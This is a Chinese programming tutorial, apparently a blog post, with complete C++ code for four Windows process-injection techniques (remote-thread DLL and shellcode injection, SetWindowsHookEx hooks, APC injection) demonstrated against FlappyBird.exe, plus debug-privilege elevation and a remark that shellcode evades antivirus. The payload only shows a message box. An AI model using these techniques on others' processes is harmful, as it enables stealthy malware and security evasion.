Windows 动态注入(远程线程、消息钩子、APC)

Windows PC端动态注入(远程线程、消息钩子、APC)

说明:实现注入进程“FlappyBird.exe”,实现弹窗。完整代码在文末。

远程线程注入

注入DLL

首先需要一个事先准备好的DLL文件testDLL.dll,用vs2019创建一个DLL工程,在程序入口调用MessageBoxA()。

远程线程DLL注入的基本原理是利用Windows提供的API函数CreateRemoteThread(),实现在另外一个进程中注入一个线程,后续只要在线程体中执行加载testDLL.dll的操作,目标进程就会执行testDLL.dll中的代码了。

一个比较关键的问题是创建的远程线程是在目标进程中执行,无法调用本地函数,因此要利用系统API实现加载dll文件的操作。Win32程序在运行时都会加载kernel32.dll,而Windows默认同一个系统中dll的文件加载位置是固定的,因此kernel32.dll中的导出函数在任何进程的地址空间中的位置是固定的。动态加载dll文件需要系统API LoadLibraryA(),这个函数正好是kernel32.dll的导出函数。因此我们只需要在注射器程序中获取LoadLibraryA()的地址,令创建的远程线程执行LoadLibraryA(),传入参数testDLL.dll的路径,即可实现远程线程DLL注入。

具体实现步骤及部分源码如下(所有完整代码见文末):

1、根据进程名(“FlappyBird.exe”)查找进程ID

自己实现函数FindProcess(),入口参数:进程名、进程ID(出参);步骤如下:

调用CreateToolhelp32Snapshot()获取进程快照;传入参数Th32CS_SNAPPROCESS用于指定“在快照中包含系统中所有的进程”

调用**Process32First()、Process32Next()**遍历进程信息,对进程名进行字符串比较直至与目标进程名相等。

//由进程名获取进程ID
bool FindProcess(const wchar_t* processName, DWORD& dwProcess) {
    PROCESSENTRY32 pe32;  
    pe32.dwSize = sizeof(PROCESSENTRY32);      
    //获取进程快照
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);     
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        return false;
    }
    if (Process32First(hProcessSnap, &pe32)) {
        do {
            if (wcscmp(pe32.szExeFile, processName) == 0) {
                dwProcess = pe32.th32ProcessID;
                break;
            }
        } while (Process32Next(hProcessSnap, &pe32));
    }
    CloseHandle(hProcessSnap);
    if(dwProcess == 0) {
        return false;
    }
    return true;
}

2、调用OpenProcess()获取进程句柄,传入参数dwProcess(进程ID);调用VirtualAllocEx()在目标进程中为testDLL.dll的路径(字符串)分配内存空间(用于之后作为LoadLibraryA的参数);调用**WriteProcessMemory()**将testDLL.dll的路径写入内存。

调用LoadLibrary()加载动态链接库“kernel32.dll”,调用GetProcAddress()获取“LoadLibraryA”的地址。

调用CreateRemoteThread()创建远程线程,传入参数LoadLibraryA()地址和存放testDLL.dll路径的内存地址。等待线程结束关闭句柄,释放内存空间。

//DLL远程线程注入
void CreateRemoteThread_Inject(){
    DWORD dwProcess = 0;
    char myDLL[] = "C:\\testDLL.dll";
    //查找进程FlappyBird.exe
    if(FindProcess(L"FlappyBird.exe", dwProcess)){
        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcess);    //打开进程
        LPVOID allocatedMem = VirtualAllocEx(hProcess, NULL, sizeof(myDLL), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);  //在进程中分配内存
        WriteProcessMemory(hProcess, allocatedMem, myDLL, sizeof(myDLL), NULL); //写入DLL路径
        HMODULE hModule = LoadLibrary(L"kernel32.dll");                //获取kernel32.dll模块句柄
        //获取LoadLibraryA函数地址
        LPTHREAD_START_ROUTINE pfnStarAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");
        if(pfnStarAddress == NULL){
            cout << "GetProcAddress failed" << endl;
            return;
        }
        HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, NULL, pfnStarAddress, allocatedMem, NULL, NULL);  //创建远程线程
        if(hRemoteThread == NULL){
            cout << "CreateRemoteThread failed" << endl;
            return;
        }
        WaitForSingleObject(hRemoteThread, INFINITE);  //等待远程线程结束
        CloseHandle(hRemoteThread);                                
        VirtualFreeEx(hProcess, allocatedMem, 0, MEM_FREE);
    }
    return;
}

注入Shellcode

DLL注入实现虽然简单,但是会在目标进程加载一个模块,已经能够被多数杀软主动拦截;我们用**CreateRemoteThread()**函数实现DLL远程线程注入,也可以自己编写Shellcode实现注入,相对DLL来说隐蔽性更强。

注入shellcode的难点是,由于注入的代码要“写入”其他进程空间当中,因此不能使用任何全局变量、不能调用本地定义的函数、不能调用一些库函数等等。当然,shellcode使用栈空间的局部变量、使用系统API(kernel32.dll)都是没有问题的,如果使用其他dll库的函数可以用kernel32.dll导出函数**LoadLibraryA()加载对应的dll后,再使用GetProcAddress()**获取函数地址。

远程线程注入shellcode的原理与注入DLL原理类似,都是使用**OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread **的框架,关键在于shellcode的编写,以在目标进程执行MessageBox()为例,具体步骤和部分代码如下:

1、定义线程参数结构体,用于接收API(LoadLibraryA()和GetProcAddress()的地址)和参数(加载的dll名、调用的API、API的参数);定义函数指针;

//该结构体用于接收API和4个字符串
typedef struct _THREAD_PARAM {
	FARPROC pFunc[2];
	char szBuf[4][128];
} THREAD_PARAM, *PTHREAD_PARAM;
typedef HMODULE (WINAPI *PFLOADLIBRARYA)    
(
    LPCSTR lpLibFileName
);  //定义LoadLibraryA函数指针
typedef FARPROC (WINAPI *PFGETPROCADDRESS)
(
    HMODULE hModule,
    LPCSTR lpProcName
); //定义GetProcAddress函数指针
typedef int (WINAPI *PFMESSAGEBOXA)
(
    HWND hWnd,
    LPCSTR lpText,
    LPCSTR lpCaption,
    UINT uType
); //定义MessageBoxA函数指针

2、编写shellcode,以上述结构体类型作为参数,依次调用API,实现调用MessageBoxA();

//线程函数
//未直接调用相关API和未直接定义使用字符串,而通过THREAD_PARAM结构体以线程参数的形式传递使用
DWORD WINAPI ThreadProc(LPVOID lpParam)
{   
    PTHREAD_PARAM pParam = (PTHREAD_PARAM)lpParam;
    HMODULE hMod = NULL;
    FARPROC pFunc = NULL;
    hMod = ((PFLOADLIBRARYA)pParam->pFunc[0])(pParam->szBuf[0]);        //调用LoadLibraryA函数
    if (hMod == NULL)
    {
        return 1;
    }
    pFunc = ((PFGETPROCADDRESS)pParam->pFunc[1])(hMod, pParam->szBuf[1]);   //获取MessageBoxA函数地址
    if (pFunc == NULL)
    {
        return 1;
    }
    ((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], 0);    //调用MessageBoxA函数
    return 0;
}

3、实现提权函数EnableDebugPrivilege()

bool EnableDebugPrivilege() {
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    //打开进程令牌
    if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
        cout<<"OpenProcessToken failed"<<endl;
        return false;
    }
    //获取LUID
    if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) {
        cout<<"LookupPrivilegeValue failed"<<endl;
        return false ;
    }
    //设置权限
    tp.PrivilegeCount = 1;  //只设置一个权限
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;     //设置权限为启用,如果为SE_PRIVILEGE_REMOVED则为禁用
    //修改进程令牌,提升权限,使得能够访问受保护的进程,如系统进程,其他用户进程等
    if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {
        cout<<"AdjustTokenPrivileges failed"<<endl;
        return false;
    }
    return true;
}

4、实现注入

准备好参数,使用CreatRemoteThread()框架实现注入,注意为代码申请的内存必须设置为可读可写可执行,注意将参数和shellcode都写入目标进程。

void CreateRemoteThread_shellcode()
{
    EnableDebugPrivilege(); //提升权限
    DWORD dwProcess = 0;
    //查找进程FlappyBird.exe
    if(FindProcess(L"FlappyBird.exe", dwProcess)){
        HMODULE hMod = NULL;
        THREAD_PARAM param = {0,};  //定义线程结构体变量
        HANDLE hProcess = NULL;
        HANDLE hThread = NULL;
        LPVOID pRemoteBuf[2] = {0,};
        DWORD dwSize = 0;

        hMod = GetModuleHandleA("kernel32.dll");

        //设置THREAD_PARAM结构体
	    //加载到所有进程的kernel32.dll的地址都相同,因此从本进程获取的API与在目标进程中获取的API地址是一样的
        param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");
        param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");
        strcpy_s(param.szBuf[0], "user32.dll");
        strcpy_s(param.szBuf[1], "MessageBoxA");
        strcpy_s(param.szBuf[2], "shellcode Success");
        strcpy_s(param.szBuf[3], "inject");
        
        hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcess);
        if (hProcess == NULL)
        {
            cout<<"OpenProcess failed"<<endl;
            return;
        }
        //分配内存
        dwSize = sizeof(THREAD_PARAM);
        pRemoteBuf[0] = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
        if (pRemoteBuf[0] == NULL)
        {
            cout<<"VirtualAllocEx failed"<<endl;
            return;
        }
        //将线程参数写入目标进程
        if (!WriteProcessMemory(hProcess, pRemoteBuf[0], (LPVOID)&param, dwSize, NULL))
        {
            cout<<"WriteProcessMemory failed"<<endl;
            return;
        }
        dwSize = (DWORD)CreateRemoteThread_shellcode - (DWORD)ThreadProc;  //计算shellcode大小
        pRemoteBuf[1] = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (pRemoteBuf[1] == NULL)
        {
            cout<<"VirtualAllocEx failed"<<endl;
            return;
        }
        //将shellcode写入目标进程
        if (!WriteProcessMemory(hProcess, pRemoteBuf[1], (LPVOID)ThreadProc, dwSize, NULL))
        {
            cout<<"WriteProcessMemory failed"<<endl;
            return;
        }
        //创建远程线程
        hThread = CreateRemoteThread(
            hProcess, 
            NULL, 
            0, 
            (LPTHREAD_START_ROUTINE)pRemoteBuf[1], //线程函数地址
            pRemoteBuf[0],                     //线程参数地址
            0, NULL
        );
        if (hThread == NULL)
        {
            cout<<"CreateRemoteThread failed"<<endl;
            return;
        }
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
        CloseHandle(hProcess);
    }
}

消息钩子注入DLL

消息钩子注入原理是利用Windows提供的**SetWindowsHookEx()**函数,它可以拦截进程的消息到指定的DLL中导出的函数,目标进程就会自动加载我们指定的DLL,利用这个特性可以实现消息钩子注入。

具体实现步骤和部分源码如下:

1、编写一个testDLL.dll用于Hook,在其中显式导出一个函数NextHook()

//导出函数
extern "C" __declspec(dllexport) int NextHook(int code, WPARAM wParam, LPARAM lParam){
    return CallNextHookEx(NULL, code, wParam, lParam);
}

2、在注射器中首先调用FindWindow()查找窗口“FlappyBird”获取窗口句柄;调用GetWindowThreadProcessId()获取进程ID和线程ID;调用LoadLibraryEx()加载testDLL.dll到自身进程,传入参数DONT_RESOLVE_DLL_REFERENCES用于指定“不对DLL初始化”;调用**GetProcAddress()获取钩子函数NextHook()**的地址;

int SetWindowHookEx_inject() {
    HWND hwnd = FindWindow(NULL, L"FlappyBird"); //查找窗口
    if (hwnd == NULL) {
        cout << "FindWindow failed" << endl;
        return 1;
    }
    DWORD pid = NULL;
    DWORD tid = GetWindowThreadProcessId(hwnd, &pid); //获取进程ID
    if (tid == NULL) {
        cout << "GetWindow tid/pid failed" << endl;
        return 1;
    }
    
    HMODULE dll = LoadLibraryEx(L"C:\\testDLL.dll", NULL, DONT_RESOLVE_DLL_REFERENCES); //加载DLL
    if (dll == NULL) {
        cout << "LoadLibraryEx DLL failed" << endl;
        return 1;
    }
    
    HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "NextHook"); //获取钩子函数地址
    if (addr == NULL) {
        cout << "GetProcAddress failed" << endl;
        return 1;
    }
    
    HHOOK handle = SetWindowsHookEx(WH_GETMESSAGE, addr, dll, tid); //设置钩子
    if (handle == NULL) {
        cout << "SetWindowsHookEx failed" << endl;
        return EXIT_FAILURE;
    }
    
    PostThreadMessage(tid, WM_NULL, 0, 0); //发送消息,触发钩子
    cout<<"SetWindowsHookEx_inject success"<<endl;
    cout<<"Press any key to unhook"<<endl;
    getchar();

    BOOL unhook = UnhookWindowsHookEx(handle); //卸载钩子
    if (unhook == NULL) {
        cout << "UnhookWindowsHookEx failed" << endl;
        return EXIT_FAILURE;
    }
    return 0;
}

APC注入DLL

APC全称Asynchronous Procedure Call,叫异步过程调用,是指函数在特定现场中被异步执行,在操作系统中,APC是一种并发机制。

APC注入实现原理核心是利用QueueUserApc()这个API添加制定的回调函数到目标线程的APC队列中,系统会产生一个软中断,在线程下一次被调度/唤醒的时候,就会执行回调函数,因此我们只需要令LoadLibraryW作为回调函数,并且传入参数dll路径,即可实现注入。

当然APC注入是有条件的,用户态下的APC请求想要执行,必须等待线程进入**“Alertable”状态,而只有当线程调用特定函数(SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx或WaitForSingleObjectEx)时,才会进入Alertable状态,所以为了应对这种苛刻的条件,提高注入成功的机率同时缩短等待时间,我们需要遍历进程的所有线程,并对每一个线程进行APC注入。**

具体实现步骤和部分源码如下:

1、根据进程名(“FlappyBird.exe”)查找进程ID并且获取所有的线程ID,获取线程ID的方法与查找进程ID类似;

//根据进程名获取进程ID及其所有线程ID
bool FindProcess2(const wchar_t* processName, DWORD& dwProcess, vector<DWORD>& dwThreads) {
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);  //创建进程快照
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        cout << "CreateToolhelp32Snapshot failed" << endl;
        return false;
    }
    if (!Process32First(hProcessSnap, &pe32)) {     //获取第一个进程信息
        cout << "Process32First failed" << endl;
        CloseHandle(hProcessSnap);
        return false;
    }
    do {
        if (wcscmp(pe32.szExeFile, processName) == 0) {
            dwProcess = pe32.th32ProcessID;
            break;
        }
    } while (Process32Next(hProcessSnap, &pe32));
    CloseHandle(hProcessSnap);
    if (dwProcess == NULL) {
        cout << "FindProcess failed" << endl;
        return false;
    }
    THREADENTRY32 te32;
    te32.dwSize = sizeof(THREADENTRY32);
    HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);    //创建线程快照
    if (hThreadSnap == INVALID_HANDLE_VALUE) {
        cout << "CreateToolhelp32Snapshot failed" << endl;
        return false;
    }
    if (!Thread32First(hThreadSnap, &te32)) {
        cout << "Thread32First failed" << endl;
        CloseHandle(hThreadSnap);
        return false;
    }
    do {
        if (te32.th32OwnerProcessID == dwProcess) {
            dwThreads.push_back(te32.th32ThreadID);     //获取目标进程的所有线程ID
        }
    } while (Thread32Next(hThreadSnap, &te32));
    CloseHandle(hThreadSnap);
    if (dwThreads.size() == 0) {
        cout << "FindThread failed" << endl;
        return false;
    }
    return true;
}

2、调用OpenProcess()获取进程句柄,调用VirtuealAllocEx()为参数dll路径远程申请内存,调用WriteProcessMemory()写入dll路径;遍历所有线程,插入APC;具体插入步骤为:调用OpenThread()获取线程句柄,调用GetProcAddress()和GetModuleHandle()获取LoadLibraryW()地址,调用QueueUserAPC()实现插入APC。

void APC_Inject(){
    DWORD pid;
    vector<DWORD> tids;     //需要获取进程所有的线程ID
    if (FindProcess2(L"FlappyBird.exe", pid, tids)) {
        HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
        if (hProcess == NULL) {
            cout << "OpenProcess failed" << endl;
            return;
        }
        auto p = VirtualAllocEx(hProcess, NULL, 1<<12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); //在目标进程中申请内存
        wchar_t buffer[] = L"C:\\testDLL.dll";
        WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), NULL); //将DLL路径写入目标进程中
        for(const auto& tid: tids){
            HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
            if (hThread == NULL) {
                cout << "OpenThread failed" << endl;
                return;
            }
            QueueUserAPC((PAPCFUNC)GetProcAddress(GetModuleHandle(L"kernel32"),"LoadLibraryW"),hThread,(ULONG_PTR)p); //将APC注入到目标进程中
        }
        VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT);
    }
}

完整代码

inject.cpp

#include <iostream>
#include <vector>
#include <Windows.h>
#include <TlHelp32.h>
#include <Psapi.h>
#include <string>
#include <tchar.h>
using namespace std;

//由进程名获取进程ID
bool FindProcess(const wchar_t* processName, DWORD& dwProcess) {
    PROCESSENTRY32 pe32;  
    pe32.dwSize = sizeof(PROCESSENTRY32);      
    //获取进程快照
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);     
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        return false;
    }
    if (Process32First(hProcessSnap, &pe32)) {
        do {
            if (wcscmp(pe32.szExeFile, processName) == 0) {
                dwProcess = pe32.th32ProcessID;
                break;
            }
        } while (Process32Next(hProcessSnap, &pe32));
    }
    CloseHandle(hProcessSnap);
    if(dwProcess == 0) {
        return false;
    }
    return true;
}

//DLL远程线程注入
void CreateRemoteThread_Inject(){
    DWORD dwProcess = 0;
    char myDLL[] = "C:\\testDLL.dll";
    //查找进程FlappyBird.exe
    if(FindProcess(L"FlappyBird.exe", dwProcess)){
        HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcess);    //打开进程
        LPVOID allocatedMem = VirtualAllocEx(hProcess, NULL, sizeof(myDLL), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);  //在进程中分配内存
        WriteProcessMemory(hProcess, allocatedMem, myDLL, sizeof(myDLL), NULL); //写入DLL路径
        HMODULE hModule = LoadLibrary(L"kernel32.dll");                //获取kernel32.dll模块句柄
        //获取LoadLibraryA函数地址
        LPTHREAD_START_ROUTINE pfnStarAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryA");
        if(pfnStarAddress == NULL){
            cout << "GetProcAddress failed" << endl;
            return;
        }
        HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, NULL, pfnStarAddress, allocatedMem, NULL, NULL);  //创建远程线程
        if(hRemoteThread == NULL){
            cout << "CreateRemoteThread failed" << endl;
            return;
        }
        WaitForSingleObject(hRemoteThread, INFINITE);  //等待远程线程结束
        CloseHandle(hRemoteThread);                                
        VirtualFreeEx(hProcess, allocatedMem, 0, MEM_FREE);
    }
    return;
}

//***********************************************Shellcode远程线程注入***********************************************
bool EnableDebugPrivilege() {
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    //打开进程令牌
    if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
        cout<<"OpenProcessToken failed"<<endl;
        return false;
    }
    //获取LUID
    if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) {
        cout<<"LookupPrivilegeValue failed"<<endl;
        return false ;
    }
    //设置权限
    tp.PrivilegeCount = 1;  //只设置一个权限
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;     //设置权限为启用,如果为SE_PRIVILEGE_REMOVED则为禁用
    //修改进程令牌,提升权限,使得能够访问受保护的进程,如系统进程,其他用户进程等
    if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) {
        cout<<"AdjustTokenPrivileges failed"<<endl;
        return false;
    }
    return true;
}
//该结构体用于接收API和4个字符串
typedef struct _THREAD_PARAM {
	FARPROC pFunc[2];
	char szBuf[4][128];
} THREAD_PARAM, *PTHREAD_PARAM;
typedef HMODULE (WINAPI *PFLOADLIBRARYA)    
(
    LPCSTR lpLibFileName
);  //定义LoadLibraryA函数指针
typedef FARPROC (WINAPI *PFGETPROCADDRESS)
(
    HMODULE hModule,
    LPCSTR lpProcName
); //定义GetProcAddress函数指针
typedef int (WINAPI *PFMESSAGEBOXA)
(
    HWND hWnd,
    LPCSTR lpText,
    LPCSTR lpCaption,
    UINT uType
); //定义MessageBoxA函数指针

//线程函数
//未直接调用相关API和未直接定义使用字符串,而通过THREAD_PARAM结构体以线程参数的形式传递使用
DWORD WINAPI ThreadProc(LPVOID lpParam)
{   
    PTHREAD_PARAM pParam = (PTHREAD_PARAM)lpParam;
    HMODULE hMod = NULL;
    FARPROC pFunc = NULL;
    hMod = ((PFLOADLIBRARYA)pParam->pFunc[0])(pParam->szBuf[0]);        //调用LoadLibraryA函数
    if (hMod == NULL)
    {
        return 1;
    }
    pFunc = ((PFGETPROCADDRESS)pParam->pFunc[1])(hMod, pParam->szBuf[1]);   //获取MessageBoxA函数地址
    if (pFunc == NULL)
    {
        return 1;
    }
    ((PFMESSAGEBOXA)pFunc)(NULL, pParam->szBuf[2], pParam->szBuf[3], 0);    //调用MessageBoxA函数
    return 0;
}

//shellcode 注入
void CreateRemoteThread_shellcode()
{
    EnableDebugPrivilege(); //提升权限
    DWORD dwProcess = 0;
    //查找进程FlappyBird.exe
    if(FindProcess(L"FlappyBird.exe", dwProcess)){
        HMODULE hMod = NULL;
        THREAD_PARAM param = {0,};  //定义线程结构体变量
        HANDLE hProcess = NULL;
        HANDLE hThread = NULL;
        LPVOID pRemoteBuf[2] = {0,};
        DWORD dwSize = 0;

        hMod = GetModuleHandleA("kernel32.dll");

        //设置THREAD_PARAM结构体
	    //加载到所有进程的kernel32.dll的地址都相同,因此从本进程获取的API与在目标进程中获取的API地址是一样的
        param.pFunc[0] = GetProcAddress(hMod, "LoadLibraryA");
        param.pFunc[1] = GetProcAddress(hMod, "GetProcAddress");
        strcpy_s(param.szBuf[0], "user32.dll");
        strcpy_s(param.szBuf[1], "MessageBoxA");
        strcpy_s(param.szBuf[2], "shellcode Success");
        strcpy_s(param.szBuf[3], "inject");
        
        hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcess);
        if (hProcess == NULL)
        {
            cout<<"OpenProcess failed"<<endl;
            return;
        }
        //分配内存
        dwSize = sizeof(THREAD_PARAM);
        pRemoteBuf[0] = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
        if (pRemoteBuf[0] == NULL)
        {
            cout<<"VirtualAllocEx failed"<<endl;
            return;
        }
        //将线程参数写入目标进程
        if (!WriteProcessMemory(hProcess, pRemoteBuf[0], (LPVOID)&param, dwSize, NULL))
        {
            cout<<"WriteProcessMemory failed"<<endl;
            return;
        }
        dwSize = (DWORD)CreateRemoteThread_shellcode - (DWORD)ThreadProc;  //计算shellcode大小
        pRemoteBuf[1] = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (pRemoteBuf[1] == NULL)
        {
            cout<<"VirtualAllocEx failed"<<endl;
            return;
        }
        //将shellcode写入目标进程
        if (!WriteProcessMemory(hProcess, pRemoteBuf[1], (LPVOID)ThreadProc, dwSize, NULL))
        {
            cout<<"WriteProcessMemory failed"<<endl;
            return;
        }
        //创建远程线程
        hThread = CreateRemoteThread(
            hProcess, 
            NULL, 
            0, 
            (LPTHREAD_START_ROUTINE)pRemoteBuf[1], //线程函数地址
            pRemoteBuf[0],                     //线程参数地址
            0, NULL
        );
        if (hThread == NULL)
        {
            cout<<"CreateRemoteThread failed"<<endl;
            return;
        }
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
        CloseHandle(hProcess);
    }
}

//***********************************************消息钩子注入***********************************************

int SetWindowHookEx_inject() {
    HWND hwnd = FindWindow(NULL, L"FlappyBird"); //查找窗口
    if (hwnd == NULL) {
        cout << "FindWindow failed" << endl;
        return 1;
    }
    DWORD pid = NULL;
    DWORD tid = GetWindowThreadProcessId(hwnd, &pid); //获取进程ID
    if (tid == NULL) {
        cout << "GetWindow tid/pid failed" << endl;
        return 1;
    }
    
    HMODULE dll = LoadLibraryEx(L"C:\\testDLL.dll", NULL, DONT_RESOLVE_DLL_REFERENCES); //加载DLL
    if (dll == NULL) {
        cout << "LoadLibraryEx DLL failed" << endl;
        return 1;
    }
    
    HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "NextHook"); //获取钩子函数地址
    if (addr == NULL) {
        cout << "GetProcAddress failed" << endl;
        return 1;
    }
    
    HHOOK handle = SetWindowsHookEx(WH_GETMESSAGE, addr, dll, tid); //设置钩子
    if (handle == NULL) {
        cout << "SetWindowsHookEx failed" << endl;
        return EXIT_FAILURE;
    }
    
    PostThreadMessage(tid, WM_NULL, 0, 0); //发送消息,触发钩子
    cout<<"SetWindowsHookEx_inject success"<<endl;
    cout<<"Press any key to unhook"<<endl;
    getchar();

    BOOL unhook = UnhookWindowsHookEx(handle); //卸载钩子
    if (unhook == NULL) {
        cout << "UnhookWindowsHookEx failed" << endl;
        return EXIT_FAILURE;
    }
    return 0;
}

//***********************************************APC注入***********************************************

//根据进程名获取进程ID及其所有线程ID
bool FindProcess2(const wchar_t* processName, DWORD& dwProcess, vector<DWORD>& dwThreads) {
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);  //创建进程快照
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        cout << "CreateToolhelp32Snapshot failed" << endl;
        return false;
    }
    if (!Process32First(hProcessSnap, &pe32)) {     //获取第一个进程信息
        cout << "Process32First failed" << endl;
        CloseHandle(hProcessSnap);
        return false;
    }
    do {
        if (wcscmp(pe32.szExeFile, processName) == 0) {
            dwProcess = pe32.th32ProcessID;
            break;
        }
    } while (Process32Next(hProcessSnap, &pe32));
    CloseHandle(hProcessSnap);
    if (dwProcess == NULL) {
        cout << "FindProcess failed" << endl;
        return false;
    }
    THREADENTRY32 te32;
    te32.dwSize = sizeof(THREADENTRY32);
    HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);    //创建线程快照
    if (hThreadSnap == INVALID_HANDLE_VALUE) {
        cout << "CreateToolhelp32Snapshot failed" << endl;
        return false;
    }
    if (!Thread32First(hThreadSnap, &te32)) {
        cout << "Thread32First failed" << endl;
        CloseHandle(hThreadSnap);
        return false;
    }
    do {
        if (te32.th32OwnerProcessID == dwProcess) {
            dwThreads.push_back(te32.th32ThreadID);     //获取目标进程的所有线程ID
        }
    } while (Thread32Next(hThreadSnap, &te32));
    CloseHandle(hThreadSnap);
    if (dwThreads.size() == 0) {
        cout << "FindThread failed" << endl;
        return false;
    }
    return true;
}

void APC_Inject(){
    DWORD pid;
    vector<DWORD> tids;     //需要获取进程所有的线程ID
    if (FindProcess2(L"FlappyBird.exe", pid, tids)) {
        HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
        if (hProcess == NULL) {
            cout << "OpenProcess failed" << endl;
            return;
        }
        auto p = VirtualAllocEx(hProcess, NULL, 1<<12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); //在目标进程中申请内存
        wchar_t buffer[] = L"C:\\testDLL.dll";
        WriteProcessMemory(hProcess, p, buffer, sizeof(buffer), NULL); //将DLL路径写入目标进程中
        for(const auto& tid: tids){
            HANDLE hThread = ::OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
            if (hThread == NULL) {
                cout << "OpenThread failed" << endl;
                return;
            }
            QueueUserAPC((PAPCFUNC)GetProcAddress(GetModuleHandle(L"kernel32"),"LoadLibraryW"),hThread,(ULONG_PTR)p); //将APC注入到目标进程中
        }
        VirtualFreeEx(hProcess, p, 0, MEM_RELEASE | MEM_DECOMMIT);
    }
}



int main()
{
    printf("Inject\n");
    CreateRemoteThread_Inject();
    //CreateRemoteThread_shellcode();
    //SetWindowHookEx_inject();
    //APC_Inject();
    printf("执行结束\n");
    getchar();
    return 0;
}

dllmain.cpp

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>

//在DLL入口点中调用MessageBoxA
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL, L"Inject", L"注射成功", MB_OK);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

//导出函数
extern "C" __declspec(dllexport) int NextHook(int code, WPARAM wParam, LPARAM lParam){
    return CallNextHookEx(NULL, code, wParam, lParam);
}
  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
